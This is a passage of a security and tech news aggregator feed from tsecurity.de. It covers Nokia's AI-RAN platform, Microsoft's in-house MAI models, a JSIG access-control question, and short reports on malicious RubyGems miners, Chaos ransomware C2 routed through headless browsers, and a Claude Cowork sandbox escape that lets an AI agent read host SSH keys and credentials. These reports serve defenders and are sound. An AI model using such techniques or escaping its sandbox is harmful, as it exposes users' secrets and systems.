<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Valve's Steamworks SDK v1.65 brings changes for Steam Machine, Steam Frame and Steam Deck]]></title>
<description><![CDATA[Valve have updated the Steamworks SDK for games to integrate Steam features - overhauling checks for Steam Machine, Steam Frame and Steam Deck and more.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3690944/linux-tipps/valves-steamworks-sdk-v165-brings-changes-for-steam-machine-steam-frame-and-steam-deck/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690944/linux-tipps/valves-steamworks-sdk-v165-brings-changes-for-steam-machine-steam-frame-and-steam-deck/</guid>
<pubDate>Fri, 24 Jul 2026 10:02:47 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve have updated the Steamworks SDK for games to integrate Steam features - overhauling checks for Steam Machine, Steam Frame and Steam Deck and more.<p><img src="https://www.gamingonlinux.com/uploads/tagline_gallery/steam_plain_2025.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/valves-steamworks-sdk-v1-65-brings-changes-for-steam-machine-steam-frame-and-steam-deck/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Claude Cowork Sandbox Escape Flaw Lets AI Agent Read SSH Keys and Cloud Credentials From Host]]></title>
<description><![CDATA[A serious security flaw has been discovered in Claude Cowork’s local sandbox, allowing a malicious AI agent to escape its Linux virtual machine (VM) and access the host Mac’s filesystem. This breach can enable the agent to read sensitive information, including SSH private keys and cloud credentia...]]></description>
<link>https://tsecurity.de/de/3690923/it-security-nachrichten/claude-cowork-sandbox-escape-flaw-lets-ai-agent-read-ssh-keys-and-cloud-credentials-from-host/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690923/it-security-nachrichten/claude-cowork-sandbox-escape-flaw-lets-ai-agent-read-ssh-keys-and-cloud-credentials-from-host/</guid>
<pubDate>Fri, 24 Jul 2026 09:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A serious security flaw has been discovered in Claude Cowork’s local sandbox, allowing a malicious AI agent to escape its Linux virtual machine (VM) and access the host Mac’s filesystem. This breach can enable the agent to read sensitive information, including SSH private keys and cloud credentials, without any user prompts. The root of this […]</p>
<p>The post <a href="https://cybersecuritynews.com/claude-cowork-sandbox-escape-flaw/">Claude Cowork Sandbox Escape Flaw Lets AI Agent Read SSH Keys and Cloud Credentials From Host</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CW@60: The mirror and the machine - three decades on the frontlines of the tech revolution]]></title>
<description><![CDATA[Every technology innovation and every IT project is, at its heart, a human-interest story - and those delivering the IT should always remember that, says IT services veteran Sam Kingston]]></description>
<link>https://tsecurity.de/de/3690905/it-nachrichten/cw60-the-mirror-and-the-machine-three-decades-on-the-frontlines-of-the-tech-revolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690905/it-nachrichten/cw60-the-mirror-and-the-machine-three-decades-on-the-frontlines-of-the-tech-revolution/</guid>
<pubDate>Fri, 24 Jul 2026 09:17:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Every technology innovation and every IT project is, at its heart, a human-interest story - and those delivering the IT should always remember that, says IT services veteran Sam Kingston]]></content:encoded>
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<title><![CDATA[Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH]]></title>
<description><![CDATA[A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes…
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T...]]></description>
<link>https://tsecurity.de/de/3690841/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690841/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/">Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH]]></title>
<description><![CDATA[A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes beyond a typic...]]></description>
<link>https://tsecurity.de/de/3690797/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690797/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 08:09:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes beyond a typical package-based infection. One set of malicious gems can examine a compromised developer […]</p>
<p>The post <a href="https://cybersecuritynews.com/malicious-rubygems-developer-machines/">Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[So verlieren Hacker die Freude an Machine Identity-Angriffen - it-daily.net]]></title>
<description><![CDATA[Genau das machen sich Angreifer laut Ontinue zunutze. Anzeige. Automatisierte Suche nach exponierten Zugangsdaten. Für ihre Angriffe setzen Hacker auf ...]]></description>
<link>https://tsecurity.de/de/3690768/hacking/so-verlieren-hacker-die-freude-an-machine-identity-angriffen-it-dailynet/</link>
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<pubDate>Fri, 24 Jul 2026 07:46:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Genau das machen sich Angreifer laut Ontinue zunutze. Anzeige. Automatisierte Suche nach exponierten Zugangsdaten. Für ihre Angriffe setzen <b>Hacker</b> auf ...]]></content:encoded>
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<title><![CDATA[So verlieren Hacker die Freude an Machine Identity-Angriffen]]></title>
<description><![CDATA[Während Unternehmen ihre Nutzerkonten immer besser absichern, weichen Angreifer auf ein Ziel aus, das seltener überwacht wird: nicht-menschliche Cloud-Identitäten, sogenannte Service Principals.

Tags: #Cyber Security | #Identitäten]]></description>
<link>https://tsecurity.de/de/3690639/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690639/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen/</guid>
<pubDate>Fri, 24 Jul 2026 06:03:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920.jpg" class="attachment-full size-full wp-post-image" alt="Hacker traurig" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="So verlieren Hacker die Freude an Machine Identity-Angriffen 1"></p>
    Während Unternehmen ihre Nutzerkonten immer besser absichern, weichen Angreifer auf ein Ziel aus, das seltener überwacht wird: nicht-menschliche Cloud-Identitäten, sogenannte Service Principals.

<p>Tags: <a href="https://www.it-daily.net/thema/cyber-security">#Cyber Security</a> | <a href="https://www.it-daily.net/thema/identitaeten">#Identitäten</a></p>]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks...]]></description>
<link>https://tsecurity.de/de/3690605/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690605/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Fri, 24 Jul 2026 05:19:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or […]]]></content:encoded>
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<title><![CDATA[How do you interpret JSIG AC-10?]]></title>
<description><![CDATA[Hello all, I am curious if anyone has to deal with the JSIG AC-10 control in their environment. As a reminder, here it is: AC-10 CONCURRENT SESSION CONTROL Control: The information system limits the number of concurrent sessions for each non-privileged and privileged to maximum of three (3) sessi...]]></description>
<link>https://tsecurity.de/de/3690512/linux-tipps/how-do-you-interpret-jsig-ac-10/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690512/linux-tipps/how-do-you-interpret-jsig-ac-10/</guid>
<pubDate>Fri, 24 Jul 2026 03:11:51 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello all,</p> <p>I am curious if anyone has to deal with the JSIG AC-10 control in their environment. As a reminder, here it is:</p> <pre><code>AC-10 CONCURRENT SESSION CONTROL Control: The information system limits the number of concurrent sessions for each non-privileged and privileged to maximum of three (3) sessions. Supplemental Guidance: Organizations may define the maximum number of concurrent sessions for information system accounts globally, by account type (e.g., privileged user, non-privileged user, domain, specific application), by account, or a combination. For example, organizations may limit the number of concurrent sessions for system administrators or individuals working in particularly sensitive domains or mission-critical applications. This control addresses concurrent sessions for information system accounts and does not address concurrent sessions by single users via multiple system accounts. This control may require third party software or development of a script. </code></pre> <p>I have a solution set up in my environment that tracks how many logons a person does (stored in sqlite3 db). In my pam.d files, I have it check on logon and denies a person from opening more than 3 (ssh, console, xrdp) sessions. It works pretty good although annoying when I want to open a bunch of sessions on patch weekend.</p> <p>I am starting to question why that might matter. What I would more than likely expect to see is "control how many concurrent sessions per machine there are". This certainly seems to be what RHEL-09-412040 talks about, which is /etc/security/limits.conf "maxlogins". That could help prevent DDOS.</p> <p>How do you interpret this? How do you meet this control in your environments?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Hxcmetal724"> /u/Hxcmetal724 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4wns0/how_do_you_interpret_jsig_ac10/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4wns0/how_do_you_interpret_jsig_ac10/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, 